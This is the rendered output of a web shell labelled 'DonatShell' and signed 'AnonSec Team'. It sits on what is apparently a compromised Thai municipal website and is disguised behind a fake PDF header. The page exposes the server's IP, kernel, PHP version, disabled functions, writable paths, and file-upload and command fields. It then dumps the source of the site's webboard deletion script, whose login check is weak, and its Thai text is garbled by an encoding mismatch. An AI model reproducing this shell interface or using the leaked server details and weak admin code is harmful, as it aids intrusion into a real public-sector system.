%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard/edit.php
<?
		session_start();
		if($user==""){
		$message = "س Login ͹.";
			$url = "../admin/index.php";
			include("../admin/alert.php");
			exit;
       }
?>     
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">     
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>                                                                                                    
<!-- InstanceBeginEditable name="doctitle" -->

<!-- InstanceEndEditable --> 
<?php
require_once('../admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧúǹӺŷ觢ҹ  99/9  1 Ӻ 觢ҹ  ´ ѧѴ ѹ :: www.thungkhanan.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->


<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #3CFFFF;	
}
-->
</style>

<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<link href="../css/Hover%20Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
 <!--<script src="https://platform-api.sharethis.com/js/sharethis.js#property=5d255a83d97c100012d80679&product='inline-share-buttons' 
async='async"  type='text/javascript'> -->
   </script>
<!--styles -->


<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style6 {color: #FFFFFF}
-->
</style></head>

<body  background="../images/0bg1-edit1.png" style="background-repeat:no-repeat; background-position:top">




<!-- content -->
<div align="center">
  <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <td align="center" valign="top"><tr>
        <td height="" align="center" valign="top"><iframe src="/head-slider.html" width="100%" height="627" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
      </tr>
      <tr>
        <td align="center" valign="top">&nbsp;</td>
      </tr>
      </td>
    </tr>
    <tr>
      <td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->
        <TABLE width="750" border=0 cellpadding=0 cellspacing=0 >
          <TR>
            <TD class="title2"><div align="center"><img src="../images/botton/borad.png" width="640" height="78"></div></TD>
          </TR>
          
          <tr align="center" >
            <td align="left" class="styles1">&nbsp;</td>
          </tr>
          <tr align="center" >
            <td align="left" class="styles1"><div align="right"><a href="../admin/main.php" class="styles2">˹ Admin</a> | <a href="admin.php" class="styles2">дҹǹ </a>| <a href="../admin/signout.php" class="styles2">͡ҡк </a></div></td>
          </tr>
          <TR>
            <TD class="styles2" >&nbsp;</TD>
          </TR>
          <TR>
            <TD class="styles2" ><div align="center">
                <?
	include("./config.inc.php");	//駤ҵҧͧǻ
	include("./function.php");		//ѧ蹷ǻ

	//  "ǢͤӶ" ӵ..
	if(file_exists($fileQuestion)) {

	if($select==0){ // դٹ (0) ͡źӶ

		// Ţ ٹ ˹ŢӶ 4  (Ѻʴ)
		$number = sprintf("%04d",$admin_Q);

		// ҹŨҡ "ǢͤӶ" 㹵 Array
		$question = file($fileQuestion);

		// ǹٻҹ ͵Ǩͺ "" ͧӶͧź
		$Yes=0;
		for ($i=0 ; $i<sizeof($question) ; $i++){
			// ¡к÷Ѵ ͡繿Ŵ
			$split = explode("|X|",$question[$i]);
			if($split[0] == $admin_Q){$Yes=1;}  //ŢӶͧź  $Yes = 1 
		} //ٻ for i

		// ŢӶ ($Yes = 1) ӵ 
		if($Yes==1){  
			for ($i=0 ; $i<sizeof($question) ; $i++){
				// ¡к÷Ѵ ͡繿Ŵ
				$split = explode("|X|",$question[$i]);
				if($split[0] == $admin_Q){$pos=$i;}  // 纤ҵ˹觢ͧŢӶͧź͡ҡ
			} //ٻ for i

			// ѹ֡ǢͤӶ "ǢͤӶ" (Ӷͧź)
			$save=fopen($fileQuestion,"w");
			flock($save,2);
			for ($j=0 ; $j<sizeof($question) ; $j++){
				// Ҥ $j çѺҵ˹觢ͧӶͧź ѹ֡ŧ List  "ǢͤӶ"
				//Щй鹤Ӷͧź֧١ѹ֡ŧ "ǢͤӶ"
				if($j!=$pos){ fputs($save,$question[$j]); } 
			}
			flock($save,3);
			fclose($save);

			// ź纤Ӷ
			$fileQ="./$dataDir/$admin_Q.txt";
			if(file_exists($fileQ)) unlink($fileQ);

			// źٻ㹤Ӷ
			$fileQImg="./$dataDir/imagefiles/$admin_Q";
			if(file_exists("$fileQImg.jpg")) unlink("$fileQImg.jpg");
			if(file_exists("$fileQImg.gif")) unlink("$fileQImg.gif");

			// ź纨ӹǹͺ
			$fileNum="./$dataDir/$admin_Q.dat";
			if(file_exists($fileNum)) unlink($fileNum);

			// ź纤ӵͺ
			$fileR="./$dataDir/R$admin_Q.txt";
			if(file_exists($fileR)) unlink($fileR);

			// źٻ㹤ӵͺ
			$fileNumImgR="./$dataDir/imagefiles/Img$admin_Q.txt";
			$fileImgR="./$dataDir/imagefiles/R$admin_Q";
			if(file_exists($fileNumImgR)) {
				// ҹӹǹͧٻҡ
				if(file_exists($fileNumImgR)) {
					$FILE=fopen($fileNumImgR,"rt");
						$numImg=fgets($FILE,10);
					fclose($FILE);
				}
				for ($i=1 ; $i<=$numImg ; $i++){
					if(file_exists("$fileImgR-$i.jpg")) unlink("$fileImgR-$i.jpg");
					if(file_exists("$fileImgR-$i.gif")) unlink("$fileImgR-$i.gif");
				}
				unlink($fileNumImgR);
			}

			echo "<BR><BR><span class= title>źзŢ <font color=black>$number</font> ͡ҡк","<BR><BR>źŤӵͺͧз</span><BR><BR><BR><BR>";
			exit();
		}

		// ŢӶʴͤ
		else{
			echo "<BR><BR><BR><span class= title>зŢ <font color=black>$number</font> к!!","<BR><BR>سҵǨͺз ͧźա</span><BR><BR><BR><BR><BR>";
			exit();
		}
	}
	else{ // դ˹ (1) ҡѺٹ͡źӵͺ

		// Ţ ٹ ˹ŢӶ 4  (Ѻʴ)
		$number = sprintf("%04d",$admin_Q);

		// ҹŨҡ "ǢͤӶ" 㹵 Array
		if(file_exists($fileQuestion)) {
			$question = file($fileQuestion);
		}

		// ǹٻҹ ͵Ǩͺ "" ͧӶͧź
		$qYes=0;
		for ($i=0 ; $i<sizeof($question) ; $i++){
			// ¡к÷Ѵ ͡繿Ŵ
			$split = explode("|X|",$question[$i]);
			if($split[0] == $admin_Q){$qYes=1;} //ŢӶ ͧӵͺͧź  $qYes = 1 
		} //ٻ for i

		// ŢӶ ($qYes = 1) ӵ 
		if($qYes==1){
			//ҹŨҡ 纤ӵͺ 㹵 Array  $Reply
			$fileReply="./$dataDir/R$admin_Q.txt";
			if(file_exists($fileReply)) {
				$Reply = file($fileReply);
			}

			// ǹٻҹ ͵Ǩͺ "" ͧӵͺͧź
			$Yes=0;
			$countR=0; // 繵Ǻ͡ըӹǹͺ褹 á˹ٹ͹

			for ($j=0 ; $j<sizeof($Reply) ; $j++) {
				// ¡к÷Ѵ ͡繿Ŵ
				$chk = explode("||",$Reply[$j]);

				// Ǩͺͧӵͺ
				if($chk[0]=="IS_reply$admin_R"){ $Yes=1; $position=$countR; }

				// ҿŴ 0 ͧŷ͡ ҡѺ "IS_reply" (ŢӶ)  $countR
				if(substr($chk[0],0,8) == "IS_reply"){ $countR++; }
			}// ٻ for j

			// դӵͺŢͧź ($Yes = 1) ӵ 
			if($Yes==1){
				$count=0;
				// ǹٻҹ кѹ֡ŧ "ӵͺ" ¡鹤ӵͺͧź
				$save=fopen($fileReply,"w");
				flock($save,2);
				for ($i=0 ; $i<sizeof($Reply) ; $i++) {
					// ¡к÷Ѵ ͡繿Ŵ
					$split = explode("||",$Reply[$i]);

					// Ҥ $count çѺҢͧ $position ѹ֡
					// Щй鹤ӵͺͧź֧١ѹ֡ŧ仴
					if($count!=$position){ fputs($save,$Reply[$i]); }

					// ҿŴ 0 ͧŷ͡ ҡѺ "IS_reply" (ŢӶ)  $count
					if(substr($split[0],0,8) == "IS_reply"){ $count++; }
				}// ٻ for i
				flock($save,3);
				fclose($save);

				// źٻ㹤ӵͺͧź 
				$fileImgR="./$dataDir/imagefiles/R$admin_Q";
				if(file_exists("$fileImgR-$admin_R.jpg")) unlink("$fileImgR-$admin_R.jpg");
				if(file_exists("$fileImgR-$admin_R.gif")) unlink("$fileImgR-$admin_R.gif");

				echo "<BR><BR><BR><span class= title>źӵͺ <font color=black>$admin_R</font> ͡ҡк","<BR><BR>źӵͺͧзŢ $number</span><BR><BR><BR><BR><BR>";
				exit();
			}
			// դӵͺŢͧź ʴͤ
			else{
				echo"<BR><BR><BR><span class= title>ӵͺ <font color=black>$admin_R</font> ͧзŢ <font color=black>$number</font> к","<BR><BR>سҵǨͺз - ӵͺͧźա</span><BR><BR><BR><BR><BR>";
				exit();
			}//end if
		}

		// դӶŢͧź ʴͤ
		else{
			echo "<BR><BR><BR><span class= title>зŢ <font color=black>$number</font> к","<BR><BR>سҵǨͺӶͧźա</span><BR><BR><BR>";
			exit();
		}
	}//end if

	} // ǹͧ if Ǩͺ ǢͤӶ  
	else{ //  ǢͤӶ (觨ѧõ駡зá ͡з 0001) ʴͤ
		echo "<BR><BR><BR><span class= title>ѧաз - ӵͺк","<BR><BR>سҵǨͺա</span><BR><BR><BR><BR><BR>";
	}
?>
            </div></TD>
          </TR>
          <TR>
            <TD class="styles2" >&nbsp;</TD>
          </TR>
        </TABLE>
      <!-- InstanceEndEditable --></td>
        </tr>
      </table></td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png"></td>
    </tr>
  </table>
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>








<map name="Map6" id="Map6"><area shape="rect" coords="210,1,302,41" href="http://www.tratlocal.go.th/index.php" target="_blank" />
</map>
</body>
<!-- InstanceEnd --></html>


Anon7 - 2022
AnonSec Team